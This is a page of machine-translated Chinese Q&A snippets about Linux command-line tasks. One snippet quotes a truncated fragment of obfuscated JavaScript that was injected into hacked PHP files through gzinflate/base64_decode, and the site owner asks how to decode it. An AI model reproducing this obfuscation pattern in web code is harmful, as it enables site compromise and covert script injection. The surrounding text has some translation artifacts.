Articles of 命令行

Bash脚本:如何重命名文件以删除数字字符?

mv命令不接受类似grep的模式匹配! 什么是处理这种类似的操作的好方法?

使用Linux命令行发布表单和上传文件

我需要使用Linux命令行将表单和上传文件发布到网站。 我已经做了一些search,我想用Python编写脚本。 我需要先login网站,保存cookie,然后发布表单数据并上传文件到该网站。 这里是细节: 该网站的login页面是: hxxp://www.example.com/login.html <form action="/signin.html" method="post"> Username:<input type="text" name="username"> Password:<input type="password" name="password"> <input type="hidden" name="referer" value="http://www.example.com/"> <input type="submit" name="submit" value=" Login "> </form> 上传页面是: hxxp://www.example.com.com/upload/ <form action="http://www.example.com:81/upload/upload.cgi" enctype="multipart/form-data" method="post"> <input type="hidden" name="MAX_FILE_SIZE" value="314572800" /> File: <input name="filename[]" type="file" /> Type: <input type="radio" name="typeID" value=1> Option One <input type="radio" name="typeID" value=2> Option Two […]

如何在Linux上loggingCPU,内存和带宽?

我正在寻找logging在Linux上运行的进程的CPU,内存,带宽。 最终数据将存储在数据库中,但我的主要问题是如何访问这些数据来login。 我最初的想法是使用顶部的命令,并parsing我需要的数据。 你能想出更好的办法吗?

用于Sox / Audacity的商用MP3编码器/解码器

最近几天,我一直在寻找一种方法,将上传时的MP3文件混合到一个网站上,该网站托pipe在一台Linux机器上。 到目前为止,感谢社区,我了解到,在命令行中使用SoX可能是从两个来源实际生成混合文件的最有效方法。 我也发现,Audacity也可以用于这个目的。 不幸的是,这两个程序都是免费的 – 由于专利和授权方面的法律问题,他们不支持MP3格式。 我知道支持可以添加与LAME,但是这仍然是非法的,因为LAME也是免费的,并没有获得专利权人的许可。 因此,我正在寻找一种方法来为Sox,Audacity或类似的命令行程序添加MP3编码器/解码器支持,以便它可以在商业网站中合法使用。 search再次出现空白,请问有谁知道一个解决scheme?

设立Ruby Koans

这个问题可能是非常愚蠢的/不合适的/本地化的/闪闪发光的蛋糕,所以只要我得到答案就可以冷静下来,因为我非常希望能够通过koans。 🙂 我正试图让这个工作。 (GitHub在这里 )我已经下载并解压缩了,文件夹在我的Documents目录中(我把它从默认名字改名为ruby_koans)。 我一整天都在搞这个,不能在Konsole上运行。 :/ 我用 cd /home/sophia/Documents 移动到包含ruby_koans文件的目录Documents。 之后我不知道该怎么做,因为Rake似乎被打破了,我可能错误地安装了Autotest :S 而且,在发布之前,我已经在freenode上询问了#ruby和#kubuntu。 ._。

是否有一个gettext实用程序,允许我通过提供一个msgid和一个新的msgstring作为参数从命令行更改PO文件?

是否有一个gettext实用程序,允许我通过提供一个msgid和一个新的msgstring作为参数从命令行更改PO文件?

webapp被黑了,但是插入了什么确切的代码? 回声(gzinflate(BASE64_DECODE(“…”)

我在各种.php文件中发现了几个echo(gzinflate(base64_decode("…..") ,我很好奇它到底在做什么。我想我使用base64 -d < fileetje.b64 > fileetje.gz解码了引号中的文本base64 -d < fileetje.b64 > fileetje.gz其中fileetje.b64包含string数据,但是当我随后尝试gunzip fileetje.gz时,它报告的是不好的数据,而且在做一个file fileetje.gz它说的是data ,我期望的是GZIP数据是类似的。 我怎样才能解密来自Linux命令行的数据? 像http://www.base64online.com/这样的在线解码器也不能理解代码。 将string数据添加到问题中是否安全? 更新 :我即兴的PHP脚本,因为它只是一个简单的回声(Thnx:glglgl)。 这是什么出来的: <script>d=Date;d=new d();h=-parseInt('012')/5;if(window.document)try{new document.getElementById("qwe").prototype}catch(qqq){st=String;zz='al';zz='v'+zz;ss="";if(1){f='f'+'r'+'o'+'m'+'Ch'+'ar';f=f+'C'+'od'+'e';}e=this[f.substr(11)+zz];t='y';}n="3.5~3.5~51.5~50~15~19~49~54.5~48…………… 它结束于: ………..9~50~19.5~28.5~5.5~3.5~3.5~61.5".split("a~".substr(1));for(i=0;i!=563;i++){j=i;ss=ss+st[f](-h*(2-1+1*n[j]));}if(1)q=ss;if(zz)e(""+q);</script>

使用grep反转函数来比较两个md5哈希列表

我已经使用losetup在Linux中安装了两个.dd图像,并为位于这些图像上的每个文件创build了一个哈希值列表: md5deep -r -e * > winXPimage1.txt md5deep -r -e * > winXPimage2.txt 这就是哈希列表的样子: d41d8cd98f00b204e9800998ecf8427e /media/74444E0F444DD510/AUTOEXEC.BAT 17d7055859d99a0d606cfaf17ae38638 /media/74444E0F444DD510/boot.ini d41d8cd98f00b204e9800998ecf8427e /media/74444E0F444DD510/CONFIG.SYS 88cf0ff92a4a9fa7bd9b7513b2e9e22b /media/74444E0F444DD510/Documents and Settings/… Etc… 这两个图像包含Windows XP安装文件和标准程序。 然而,第二张图片也包含了很多图片(jpg,png等)。 我想用grep来比较我创build的两个哈希列表,并从第二个图像中滤除与.jpg文件相关的所有哈希。 我已经使用以下命令从第一个图像中删除所有不必要的信息: cut -f 1 -d ' ' winXPimage1.txt > winXPimage1New.txt 所以现在image1散列表看起来像这样: d41d8cd98f00b204e9800998ecf8427e 17d7055859d99a0d606cfaf17ae38638 d41d8cd98f00b204e9800998ecf8427e etc… 我试图使用grep invert命令来比较winXPimage1New.txt和winXPimage2.txt (包含jpeg哈希值)并显示所有不匹配的jpg哈希行: grep -v -f winXPimage1New.txt winXPimage2.txt/*.jpg grep -v -f […]

目录中奇怪的大小。 是超大的

我实际上是在一个Linux环境下工作,而且我的tmp文件夹中有一些文件出现问题,大量的文件是在今天晚上创build的,大小为0,我们今天早上设法清除了它们,但问题仍然存在。 的目录是21 MB左右这似乎不正确,有没有什么办法来解释内部是什么,以及如何重置其大小更常见的? $ls -al total 87644 drwxrwxrwt 3 root root 21905408 Dec 5 11:06 . drwxr-xr-x 30 root root 4096 Dec 4 22:10 .. 今天早上我们在这个目录中有九百万个文件,我想这是一些存储目录的文件名或日志的数据库,有人能为我点亮这个点吗? 谢谢

使用正则expression式在bash中更改行

我需要使用linux命令行来replace一些文本: 我有一些文件: ——————- line 1 line 2,2 line 3_4 ——————- 我有一个部分的解决scheme: sed -i 's/line 1/my line 1/g' /my/file 这个工程,但是当我试图更换第2和第3行它不起作用。 我得到: ——————- line 1 my line 2,2 my line 3_4 ——————- 我需要: ——————- line 1 my line 2 my line 3 ——————- 有一个简单的方法来使用reg exp来解决这个问题吗?